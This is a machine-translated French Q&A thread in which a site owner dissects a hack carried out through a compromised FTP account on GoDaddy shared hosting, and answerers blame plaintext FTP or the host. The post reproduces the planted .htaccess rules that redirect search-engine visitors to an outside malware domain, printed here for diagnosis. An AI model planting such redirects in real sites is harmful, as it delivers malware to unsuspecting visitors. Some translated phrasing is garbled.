Disséquer une attaque de site Web via un compte FTP compromis


9

Mon site a été piraté et à ce stade, je connais certains détails, mais je ne sais pas exactement comment cela s'est produit ou comment l'empêcher à l'avenir. J'ai besoin de votre aide pour disséquer l'attaque afin que je puisse l'empêcher de se reproduire. C'est un peu long, mais je veux m'assurer de donner suffisamment d'informations pour aider à résoudre le problème.

Voici ce qui s'est passé.

Il y a quelques semaines, j'ai reçu un e-mail de ma société d'hébergement, GoDaddy, me disant que mon site utilisait trop de ressources et qu'ils s'attendaient à ce qu'une requête MySQL soit le coupable. La requête en question était une requête de recherche contenant 5 à 6 termes. La façon dont je l'avais configuré, plus vous cherchiez de termes, plus la requête devenait complexe. Aucun problème. Je l'ai corrigé, mais en même temps, GoDaddy a également temporairement fermé mon compte et il a fallu environ 3 jours avant que tout ne redevienne normal.

Suite à cet incident, le trafic de mon moteur de recherche a chuté de façon spectaculaire, environ 90%. Cela a été nul, je n'y ai rien pensé, l'écrivant dans le fiasco de la requête et pensant qu'il reviendrait à temps lorsque Google aurait réexploré le site. Ce ne fut pas le cas.

Il y a quelques jours, j'ai reçu un e-mail d'un utilisateur me disant que mon site hébergeait des logiciels malveillants. J'ai chargé le site directement dans mon navigateur, mais je n'ai rien vu injecté dans la page. Ensuite, j'ai vérifié mon fichier .htaccess et j'ai trouvé ce qui suit:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Mignonne. Et un peu sournois. Naviguer directement vers le site à partir de la barre d'adresse ou d'un signet, ce que je fais habituellement, chargerait le site normalement. Il est rare que je me rende sur mon site via un lien provenant d'un moteur de recherche, c'est pourquoi le piratage est resté non détecté aussi longtemps. Le malware n'a pas non plus été hébergé directement sur mon site.

Une recherche rapide a montré que d'autres personnes avaient également le même problème, bien que je soupçonne qu'il y en a beaucoup plus qui ne l'ont pas encore détecté. La plupart des recommandations consistaient à passer aux dernières versions du logiciel, à changer les mots de passe, etc.

Étant donné que j'utilise mon propre système de gestion de contenu personnalisé et non l'omniprésent Wordpress, j'ai creusé un peu plus. J'ai scanné tous mes fichiers pour les fonctions communes utilisées dans les exploits PHP: base64_decode, exec, shell, etc ... Rien de suspect n'est apparu et aucun fichier supplémentaire n'était présent.

J'ai ensuite vérifié l'historique du gestionnaire de fichiers de GoDaddy et découvert que le fichier .htaccess a été modifié à la même date que lorsque ma requête de recherche a été accusée d'utiliser trop de ressources du serveur. Ce pourrait être une coïncidence malheureuse, mais je ne suis pas complètement sûr. La redirection dans le fichier .htaccess ne semble pas gourmande en ressources et la requête était suffisamment complexe pour qu'elle aurait pu être gourmande en ressources.

Je voulais être sûr que mon code n'était pas le problème, j'ai donc vérifié les journaux de trafic pour une activité suspecte au moment où le fichier .htaccess a été modifié, mais je n'ai vu aucune activité GET ou POST qui semblait anormale ou semblable à un tentative de piratage.

Enfin, j'ai demandé les journaux FTP à GoDaddy et j'ai constaté qu'il y avait un accès FTP non autorisé au moment où le fichier .htaccess a été modifié. J'étais en vacances à l'époque, avec mon ordinateur physiquement éteint, et il n'y a personne d'autre avec des identifiants d'accès. Il semble que celui qui a utilisé FTP ait utilisé l'utilisateur FTP principal pour le compte, mais avec une IP de 91.220.0.19, qui semble provenir de Lettonie .

Sur l'hébergement partagé, il semble que GoDaddy attribue automatiquement un nom d'utilisateur FTP principal en fonction de l'URL du site. C'est extrêmement prévisible, ou du moins, c'était lorsque j'ai configuré mon compte d'hébergement. Je me suis inscrit pour la première fois pour le compte d'hébergement il y a plusieurs années, donc il a peut-être changé, mais d'après ce que je me souviens, je n'ai pas pu choisir le nom d'utilisateur FTP principal. Actuellement, vous ne pouvez pas non plus modifier le nom d'utilisateur et il semble que GoDaddy ne puisse pas non plus, sauf si vous annulez votre compte et démissionnez. Bien que vous puissiez créer, supprimer et modifier d'autres utilisateurs FTP, l'utilisateur FTP principal ne peut pas être supprimé. Seul le mot de passe peut être modifié.

À l'exception du nom d'utilisateur FTP principal, toutes les informations d'identification d'accès au site, à la base de données, à l'administrateur et au compte sont du charabia, des noms d'utilisateur et des mots de passe aléatoires qui ressemblent à ceux de votre chat sur votre clavier. Ex: lkSADf32! $ AsJd3.

J'ai soigneusement analysé mon ordinateur à la recherche de virus, de logiciels malveillants, etc. au cas où ce serait le point faible du lien, mais rien ne s'est produit du tout. J'utilise un pare-feu, un programme antivirus et j'essaie de prendre des habitudes de navigation sécuritaires.

Lorsque je mets à jour mon site, j'utilise Core FTP LE et une connexion SSH / SFTP. Le compte d'hébergement est une configuration Linux.

En discutant avec le support technique de GoDaddy, ils ne savent pas comment le mot de passe FTP a été compromis. Sur l'hébergement partagé, ils ne peuvent pas placer un bloc IP au niveau de l'utilisateur FTP. Ils ne peuvent pas non plus modifier le nom d'utilisateur FTP principal. Quand j'ai demandé s'ils avaient une protection par force brute autour de l'accès FTP, la technologie ne semblait pas sûre au début, mais a ensuite dit qu'ils l'avaient fait après l'avoir reformulée plusieurs fois. Cependant, je pense que je me souviens avoir posé la même question lors d'un appel précédent et avoir entendu que GoDaddy n'avait pas de protection par force brute sur l'accès FTP. À ce stade, je ne sais pas s'ils le font ou non.

J'ai changé tous mes identifiants d'accès à tous les niveaux et j'ai également interdit l'adresse IP lettone en utilisant le fichier .htaccess (cela ne fera probablement pas de différence s'ils utilisent FTP), mais je ne sais toujours pas comment le FTP le mot de passe a été compromis pour commencer.

Je suis assez certain que le problème n'était pas avec mon code (même s'il l'était, les informations FTP n'auraient pas dû être exposées) ou avec mon ordinateur. Ce que je soupçonne, mais je ne sais pas comment le prouver, c'est que le mot de passe FTP a été forcé brutalement car le nom d'utilisateur était prévisible. L'attaque par force brute aurait également pu coïncider avec les ressources du serveur utilisées (blâmées sur ma requête), mais je ne connais pas suffisamment le côté technique des serveurs pour savoir si c'est possible ou même probable.

Maintenant, j'ai l'impression d'être au bout de ce que je sais quoi faire. Je voudrais être en mesure de comprendre comment l'attaque a été menée et comment la prévenir, donc si vous avez d'autres idées sur les vecteurs d'attaque, les diagnostics qui pourraient être exécutés ou les mesures de sécurité supplémentaires, je vous serais très reconnaissant. Je suis plus que disposé à changer d'hôtes ou à abandonner l'hébergement partagé, mais je veux m'assurer que je peux empêcher que cela ne se reproduise.

Aidez-moi, Obi-Wan Kenobi ...

Réponses:


8

Quelque chose de familier lors de la lecture de votre message. Ensuite, cela m'a frappé: je l'avais déjà vu, il y a plus d'un mois, en essayant d'accéder à un site pour un jeu. Voir ici - même comportement, l'action de redirection prise uniquement sur les référents des moteurs de recherche.

Le nom de domaine de votre .htaccessordinateur vous semblait familier, car l'antivirus de mon ordinateur personnel m'avait fait du bruit il y a quelques semaines.

Et, vous ne le savez pas, l'hébergeur du site sur lequel j'ai observé cela? Allez papa.

Je ne pense pas que vous ayez été forcé par la force ou que votre mot de passe ait été compromis par une faute de votre part; Je pense que GoDaddy était celui compromis ici. Et je ne les mettrais pas de côté pour stocker les mots de passe FTP en texte brut. Un peu plus de fouilles ont trouvé cet article suggérant la même chose; la protection contre la force brute peut être le moindre de leurs problèmes.


Je suppose que l'OP a changé les informations d'identification FTP. Espérons qu'ils n'utilisent pas le stockage de mots de passe en texte clair. Ce serait-- ahem-- plutôt décevant.
Evan Anderson

@Evan Consultez l'article lié dans le dernier paragraphe, cependant; semble soutenir la théorie du "blâme de GoDaddy". Ce que cela signifie: le cryptage de leur mot de passe n'est qu'un exercice d'imagination intéressant. ;)
Shane Madden

Après avoir tout regardé à nouveau, je me connecte via SSH. Cependant, les informations d'identification que je dois utiliser sont celles de l'utilisateur FTP principal. Il n'y a aucun moyen de configurer un utilisateur uniquement pour SSH sans que cela fonctionne également pour FTP que je peux voir pour l'hébergement partagé.
Cher Abby, le

@Dear Lorsque vous vous connectez via SSH, les informations d'identification sont cryptées en transit. Ils ne seraient vulnérables qu'à être reniflés sur le fil lors de la connexion via un protocole non sécurisé comme FTP ou HTTP.
Shane Madden

2
A voté si pour aucune autre raison que vous avez eu la patience de lire l'intégralité du message.
Wesley

6

Facile! N'utilisez pas FTP. Il transmet les informations d'identification en texte brut et transmet toutes les données en texte brut. C'est l'un des moyens les moins sûrs de transférer des fichiers. Si votre hôte ne prend pas en charge d'autres méthodes, recherchez un nouvel hôte.


+1 - Vous ne pouvez pas obtenir une connexion directe point à point à votre serveur hébergé. Par définition de votre connexion FTP sans se faire au transport des réseaux non sécurisés. Vous avez été possédé parce que vos informations d'identification ont été enregistrées quelque part en cours de route à un moment ou à un autre. (En fait, les ddds sont bons que l'attaquant qui a modifié votre site n'est pas celui qui a capturé les informations d'identification. Vous avez probablement été connecté par un sniffer non détecté fonctionnant à l'intérieur du réseau d'un FAI et ajouté à une base de données d'informations d'identification qui sont achetées et vendues. ..) Sur Internet, vous NE POUVEZ PAS simplement vivre avec une authentification en texte clair. Période.
Evan Anderson

En fait, je n'ai pas utilisé SSH depuis plus d'un an sans utiliser FTP une fois dans cette période. Cependant, même si GoDaddy propose d'autres moyens de transférer des fichiers, il ne vous permet pas de supprimer l'utilisateur FTP principal. Comme je l'ai dit, je suis d'accord pour changer d'hôtes, je veux juste comprendre ce qui s'est passé. Comment quelqu'un écouterait-il les informations d'identification FTP?
Cher Abby, le

@Dear - L'utilisateur FTP et le mot de passe seraient en texte brut dans les paquets. Tout programme capable de capturer des paquets le révélerait. Le commentaire d'Evan l'explique bien.
MDMarra

@Evan - La solution serait donc: ne jamais utiliser l'hébergement mutualisé FTP et fossé? Ou pouvez-vous utiliser SSH exclusivement et toujours être en sécurité avec l'hébergement partagé?
Cher Abby, le

3
@Dear - Si un hôte ne peut pas désactiver le FTP pour mon site, je ne voudrais pas les utiliser.
MDMarra
En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.